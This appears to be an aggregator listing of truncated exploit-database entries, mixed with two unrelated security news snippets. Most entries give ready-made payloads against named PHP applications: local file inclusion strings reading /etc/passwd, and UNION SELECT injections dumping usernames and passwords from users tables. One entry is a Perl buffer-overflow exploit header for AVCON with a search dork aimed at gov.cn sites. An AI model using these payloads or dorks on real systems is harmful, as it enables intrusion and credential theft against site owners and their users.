AVCON 4.6.8.7 Buffer Overflow

!/usr/bin/perl Exploit Title: AVCON Buffer Overflow Date: 5/7/10 Author: Dillon Beresford URL: http://www.avcon.com.cn/ Version: 4.6.8.7 Tested on: XP SP2 and SP3 CVE : NONE Code : exploit.pl Twitter: http://twitter.com/D1N Dork: site:gov.cn "AVCON" There are other bugs... This is just for fun ;-...

Top 20 'Critical Controls' from SANS Institute

The SANS Institute has released critical security controls for cyber defense agreed to by a consortium of agencies including: “NSA, US Cert, DoD, DoD JTF-GNO, the Department of Energy Nuclear Laboratories, Department of State, DoD Cyber Crime Center plus the top commercial forensics experts and p...

Martin Hellman on Soaring, Nuclear Weapons and Cryptography

Martin Hellman, the co-inventor of public key cryptography, uses his background in security and cryptography to bring insights to two seemingly unrelated issues: nuclear weapons and soaring...

IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

No description provided by source. IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql resul...

OwnRS Blog 1.2 (autor.php) SQL Injection Vulnerability

Exploit for unknown platform in category web applications ====================================================== OwnRS Blog 1.2 autor.php SQL Injection Vulnerability ====================================================== OwnRS CMS autor.php SQL Injection Vulnerability Author: nuclear download:...

OwnRS Blog 1.2 (autor.php) SQL Injection Vulnerability

No description provided by source. OwnRS CMS autor.php SQL Injection Vulnerability Author: nuclear download: http://sourceforge.net/project/showfiles.php?groupid=230742 vuln: http://localhost/path/autor.php?id=' union select 1,2,3,4,5,@@version,7,8,9 ' required: magicquotesgpc == off; greetz...

FLDS 1.2a (lpro.php id) Remote SQL Injection Vulnerability

No description provided by source. Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

FLDS 1.2a - 'lpro.php' SQL Injection

Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

phpAddEdit 1.3 Local File Inclusion

phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform"; ... if $errormessage || $error ||...

phpAddEdit 1.3 - editform Local File Inclusion

phpAddEdit 1.3 - editform Local File Inclusion phpaddedit-1.3 LFI Author: nuclear script:http://sourceforge.net/projects/phpaddedit/ vuln:http://target.com/addedit-render.php?editform=../../../../../../../etc/passwd%00 vulnerable code: if !$formname && $GET"editform" $formname = $GET"editform";...

phpAddEdit 1.3 (editform) Local File Inclusion Vulnerability

Exploit for unknown platform in category web applications ============================================================ phpAddEdit 1.3 editform Local File Inclusion Vulnerability ============================================================ phpaddedit-1.3 LFI Author: nuclear...

OpenImpro 1.1 - image.php SQL Injection

OpenImpro 1.1 - image.php SQL Injection OpenImpro 1.1id Sql Injection Vulnerability Author: nuclear script: http://downloads.sourceforge.net/openimpro/openimpro-1.1.zip exploit: target.com/image.php?id=-1 union select 1,2,concatfirstname,0x3a,lastname,0x3a,password,4,5,6 from imperson --...

cameralife-sql.txt

Camera Life 2.6.2id Sql Injection Vulnerability Author: nuclear script: http://downloads.sourceforge.net/fdcl/cameralife-2.6.2aa.zip exploit: sitemap.xml.php?page=photos&id=999999 union select concatusername,0x3a,password,null from users -- greetz cAs, Mi4night, zYzTeM ,THEMAN, DiGitalX, sys32r,...